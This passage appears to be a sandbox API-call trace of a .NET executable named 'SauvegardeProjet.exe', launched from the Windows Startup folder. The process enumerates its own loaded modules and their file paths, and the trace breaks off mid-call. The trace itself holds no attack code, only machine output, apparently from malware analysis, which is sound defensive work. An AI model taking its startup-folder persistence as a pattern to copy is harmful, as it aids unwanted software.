[0233.552] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0233.553] CoTaskMemFree (pv=0x4fb3308) [0233.553] CloseHandle (hObject=0x284) returned 1 [0233.750] GetCurrentProcessId () returned 0x564 [0233.750] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x284 [0233.750] EnumProcessModules (in: hProcess=0x284, lphModule=0x236702c, cb=0x100, lpcbNeeded=0x636cee0 | out: lphModule=0x236702c, lpcbNeeded=0x636cee0) returned 1 [0233.750] GetModuleInformation (in: hProcess=0x284, hModule=0x260000, lpmodinfo=0x236716c, cb=0xc | out: lpmodinfo=0x236716c*(lpBaseOfDll=0x260000, SizeOfImage=0x9c000, EntryPoint=0x2f6c3e)) returned 1 [0233.750] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.750] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x260000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0233.751] CoTaskMemFree (pv=0x4fb3308) [0233.751] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.751] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x260000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x70 [0233.751] CoTaskMemFree (pv=0x4fb3308) [0233.751] GetModuleInformation (in: hProcess=0x284, hModule=0x77b10000, lpmodinfo=0x236934c, cb=0xc | out: lpmodinfo=0x236934c*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0233.751] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.751] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77b10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0233.751] CoTaskMemFree (pv=0x4fb3308) [0233.751] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.751] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77b10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0233.751] CoTaskMemFree (pv=0x4fb3308) [0233.751] GetModuleInformation (in: hProcess=0x284, hModule=0x736a0000, lpmodinfo=0x236b450, cb=0xc | out: lpmodinfo=0x236b450*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0233.752] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.752] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x736a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0233.752] CoTaskMemFree (pv=0x4fb3308) [0233.752] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.752] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x736a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0233.752] CoTaskMemFree (pv=0x4fb3308) [0233.752] GetModuleInformation (in: hProcess=0x284, hModule=0x77540000, lpmodinfo=0x236d55c, cb=0xc | out: lpmodinfo=0x236d55c*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0233.752] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.752] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0233.752] CoTaskMemFree (pv=0x4fb3308) [0233.752] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.752] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0233.753] CoTaskMemFree (pv=0x4fb3308) [0233.753] GetModuleInformation (in: hProcess=0x284, hModule=0x75990000, lpmodinfo=0x236f670, cb=0xc | out: lpmodinfo=0x236f670*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0233.753] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.753] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75990000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0233.753] CoTaskMemFree (pv=0x4fb3308) [0233.753] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.753] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75990000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0233.753] CoTaskMemFree (pv=0x4fb3308) [0233.753] GetModuleInformation (in: hProcess=0x284, hModule=0x773f0000, lpmodinfo=0x23717b8, cb=0xc | out: lpmodinfo=0x23717b8*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0233.754] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.754] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x773f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0233.754] CoTaskMemFree (pv=0x4fb3308) [0233.754] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.754] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x773f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0233.754] CoTaskMemFree (pv=0x4fb3308) [0233.754] GetModuleInformation (in: hProcess=0x284, hModule=0x77490000, lpmodinfo=0x23738cc, cb=0xc | out: lpmodinfo=0x23738cc*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0233.755] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.755] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77490000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0233.755] CoTaskMemFree (pv=0x4fb3308) [0233.755] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.755] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77490000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0233.755] CoTaskMemFree (pv=0x4fb3308) [0233.755] GetModuleInformation (in: hProcess=0x284, hModule=0x75f70000, lpmodinfo=0x23759d8, cb=0xc | out: lpmodinfo=0x23759d8*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0233.755] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.755] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75f70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0233.756] CoTaskMemFree (pv=0x4fb3308) [0233.756] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.756] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75f70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0233.756] CoTaskMemFree (pv=0x4fb3308) [0233.756] GetModuleInformation (in: hProcess=0x284, hModule=0x758a0000, lpmodinfo=0x2377ae4, cb=0xc | out: lpmodinfo=0x2377ae4*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0233.756] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.756] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x758a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0233.756] CoTaskMemFree (pv=0x4fb3308) [0233.757] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.757] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x758a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0233.757] CoTaskMemFree (pv=0x4fb3308) [0233.757] GetModuleInformation (in: hProcess=0x284, hModule=0x75670000, lpmodinfo=0x2379c3c, cb=0xc | out: lpmodinfo=0x2379c3c*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0233.757] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.757] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75670000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0233.757] CoTaskMemFree (pv=0x4fb3308) [0233.757] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.757] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75670000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0233.758] CoTaskMemFree (pv=0x4fb3308) [0233.758] GetModuleInformation (in: hProcess=0x284, hModule=0x75660000, lpmodinfo=0x237bd48, cb=0xc | out: lpmodinfo=0x237bd48*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0233.758] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.758] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75660000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0233.758] CoTaskMemFree (pv=0x4fb3308) [0233.758] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.758] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75660000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0233.759] CoTaskMemFree (pv=0x4fb3308) [0233.759] GetModuleInformation (in: hProcess=0x284, hModule=0x73620000, lpmodinfo=0x237de5c, cb=0xc | out: lpmodinfo=0x237de5c*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0233.759] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.759] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73620000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0233.759] CoTaskMemFree (pv=0x4fb3308) [0233.759] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.759] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73620000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0233.760] CoTaskMemFree (pv=0x4fb3308) [0233.760] GetModuleInformation (in: hProcess=0x284, hModule=0x75db0000, lpmodinfo=0x237ffa4, cb=0xc | out: lpmodinfo=0x237ffa4*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0233.760] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.760] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75db0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0233.760] CoTaskMemFree (pv=0x4fb3308) [0233.760] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.760] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75db0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0233.761] CoTaskMemFree (pv=0x4fb3308) [0233.761] GetModuleInformation (in: hProcess=0x284, hModule=0x75810000, lpmodinfo=0x23820b0, cb=0xc | out: lpmodinfo=0x23820b0*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0233.761] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.761] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75810000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0233.761] CoTaskMemFree (pv=0x4fb3308) [0233.761] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.761] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75810000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0233.762] CoTaskMemFree (pv=0x4fb3308) [0233.762] GetModuleInformation (in: hProcess=0x284, hModule=0x75e10000, lpmodinfo=0x23841b4, cb=0xc | out: lpmodinfo=0x23841b4*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0233.762] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.762] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75e10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0233.762] CoTaskMemFree (pv=0x4fb3308) [0233.762] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.762] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75e10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0233.763] CoTaskMemFree (pv=0x4fb3308) [0233.763] GetModuleInformation (in: hProcess=0x284, hModule=0x772c0000, lpmodinfo=0x23862c0, cb=0xc | out: lpmodinfo=0x23862c0*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0233.763] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.763] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x772c0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0233.763] CoTaskMemFree (pv=0x4fb3308) [0233.763] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.763] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x772c0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0233.764] CoTaskMemFree (pv=0x4fb3308) [0233.764] GetModuleInformation (in: hProcess=0x284, hModule=0x75a30000, lpmodinfo=0x23883bc, cb=0xc | out: lpmodinfo=0x23883bc*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0233.764] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.764] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0233.764] CoTaskMemFree (pv=0x4fb3308) [0233.764] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.764] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0233.765] CoTaskMemFree (pv=0x4fb3308) [0233.765] GetModuleInformation (in: hProcess=0x284, hModule=0x75ae0000, lpmodinfo=0x238a54c, cb=0xc | out: lpmodinfo=0x238a54c*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0233.765] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.765] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0233.766] CoTaskMemFree (pv=0x4fb3308) [0233.766] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.766] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0233.766] CoTaskMemFree (pv=0x4fb3308) [0233.766] GetModuleInformation (in: hProcess=0x284, hModule=0x75be0000, lpmodinfo=0x238c650, cb=0xc | out: lpmodinfo=0x238c650*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0233.766] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.766] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75be0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0233.767] CoTaskMemFree (pv=0x4fb3308) [0233.767] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.767] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75be0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0233.767] CoTaskMemFree (pv=0x4fb3308) [0233.767] GetModuleInformation (in: hProcess=0x284, hModule=0x73610000, lpmodinfo=0x238e754, cb=0xc | out: lpmodinfo=0x238e754*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0233.768] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.768] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73610000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0233.768] CoTaskMemFree (pv=0x4fb3308) [0233.768] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.768] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73610000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0233.768] CoTaskMemFree (pv=0x4fb3308) [0233.768] GetModuleInformation (in: hProcess=0x284, hModule=0x72f40000, lpmodinfo=0x2390860, cb=0xc | out: lpmodinfo=0x2390860*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0233.769] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.769] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72f40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0233.769] CoTaskMemFree (pv=0x4fb3308) [0233.769] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.769] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72f40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0233.770] CoTaskMemFree (pv=0x4fb3308) [0233.770] GetModuleInformation (in: hProcess=0x284, hModule=0x75540000, lpmodinfo=0x2392990, cb=0xc | out: lpmodinfo=0x2392990*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0233.770] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.770] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0233.771] CoTaskMemFree (pv=0x4fb3308) [0233.771] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.771] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0233.771] CoTaskMemFree (pv=0x4fb3308) [0233.771] GetModuleInformation (in: hProcess=0x284, hModule=0x74310000, lpmodinfo=0x2394ac4, cb=0xc | out: lpmodinfo=0x2394ac4*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0233.772] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.772] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74310000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0233.772] CoTaskMemFree (pv=0x4fb3308) [0233.772] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.772] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74310000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0233.772] CoTaskMemFree (pv=0x4fb3308) [0233.773] GetModuleInformation (in: hProcess=0x284, hModule=0x77060000, lpmodinfo=0x2396c6c, cb=0xc | out: lpmodinfo=0x2396c6c*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0233.773] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.773] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77060000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0233.773] CoTaskMemFree (pv=0x4fb3308) [0233.773] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.773] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77060000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0233.774] CoTaskMemFree (pv=0x4fb3308) [0233.774] GetModuleInformation (in: hProcess=0x284, hModule=0x73e60000, lpmodinfo=0x2398d70, cb=0xc | out: lpmodinfo=0x2398d70*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0233.774] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.774] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73e60000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0233.775] CoTaskMemFree (pv=0x4fb3308) [0233.775] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.775] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73e60000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0233.775] CoTaskMemFree (pv=0x4fb3308) [0233.775] GetModuleInformation (in: hProcess=0x284, hModule=0x72590000, lpmodinfo=0x239ae7c, cb=0xc | out: lpmodinfo=0x239ae7c*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0233.776] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.776] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72590000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0233.777] CoTaskMemFree (pv=0x4fb3308) [0233.777] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.777] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72590000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0233.777] CoTaskMemFree (pv=0x4fb3308) [0233.777] GetModuleInformation (in: hProcess=0x284, hModule=0x71e70000, lpmodinfo=0x239d018, cb=0xc | out: lpmodinfo=0x239d018*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0233.778] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.778] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71e70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0233.778] CoTaskMemFree (pv=0x4fb3308) [0233.778] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.778] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71e70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0233.779] CoTaskMemFree (pv=0x4fb3308) [0233.779] GetModuleInformation (in: hProcess=0x284, hModule=0x73c90000, lpmodinfo=0x239f1d4, cb=0xc | out: lpmodinfo=0x239f1d4*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0233.779] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.779] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73c90000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0233.780] CoTaskMemFree (pv=0x4fb3308) [0233.780] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.780] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73c90000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0233.780] CoTaskMemFree (pv=0x4fb3308) [0233.780] GetModuleInformation (in: hProcess=0x284, hModule=0x73f00000, lpmodinfo=0x23a13c8, cb=0xc | out: lpmodinfo=0x23a13c8*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0233.781] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.781] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73f00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0233.781] CoTaskMemFree (pv=0x4fb3308) [0233.782] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.782] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73f00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0233.782] CoTaskMemFree (pv=0x4fb3308) [0233.782] GetModuleInformation (in: hProcess=0x284, hModule=0x76e30000, lpmodinfo=0x23a3508, cb=0xc | out: lpmodinfo=0x23a3508*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0233.783] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.783] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76e30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0233.783] CoTaskMemFree (pv=0x4fb3308) [0233.783] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.783] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76e30000, lpFilename=0x4fb3308, 